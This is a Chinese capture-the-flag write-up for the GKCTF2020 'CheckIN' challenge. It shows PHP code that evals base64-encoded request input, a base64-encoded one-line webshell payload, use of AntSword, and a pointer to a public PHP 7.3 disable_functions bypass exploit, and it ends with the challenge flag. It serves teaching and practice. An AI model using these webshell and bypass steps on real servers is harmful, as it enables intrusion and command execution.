BUUCTF:[GKCTF2020]CheckIN

先看一下题目给的代码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

代码中有一个$this指针,通过读取Ginkgo的值,进行传参。我们先尝试传入phpinfo() ,构造一个payload。
注:因为存在一个base64_decode函数所以要进行base64编码。

http://(此处为你的url)/?Ginkgo=cGhwaW5mbygpOw==

结果输出为
在这里插入图片描述
在这里我们可以找到被过滤的函数
在这里插入图片描述
回到一开始的代码,从代码中我们看到一个@Eval,可以马上反应我们可以上传一句话木马。
构造一个payloadeval($_POST[123]);,同样是要进行base64处理

http://(你的url)/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7

然后在蚁剑中进行连接
在这里插入图片描述
进入根目录,我们可以发现一个flag文件,可惜里面什么都没有
在这里插入图片描述
此时我们退出文件,刷新一下,发现一个readflag 的文件,里面是一堆乱码
在这里插入图片描述
然后在看了别的师傅的wp之后,我们把目光放到最开始的phpinfo()中。我们通过phpinfo()知道了php版本为7.3,这个版本有一个漏洞
具体的exp在这里面很详细了

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

然后我们将其代码下载下来,放入我们的1.php文件中,记得pwn(’’)里面的东西要改成readflag
在这里插入图片描述
通过蚁剑上传文件到tmp目录下
在这里插入图片描述
然后剩下的就是通过之前的一句话来执行这个文件了
在这里插入图片描述
得到flag:

flag{99a2cfe2-9866-480f-9e0c-cb71ce13872c} 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值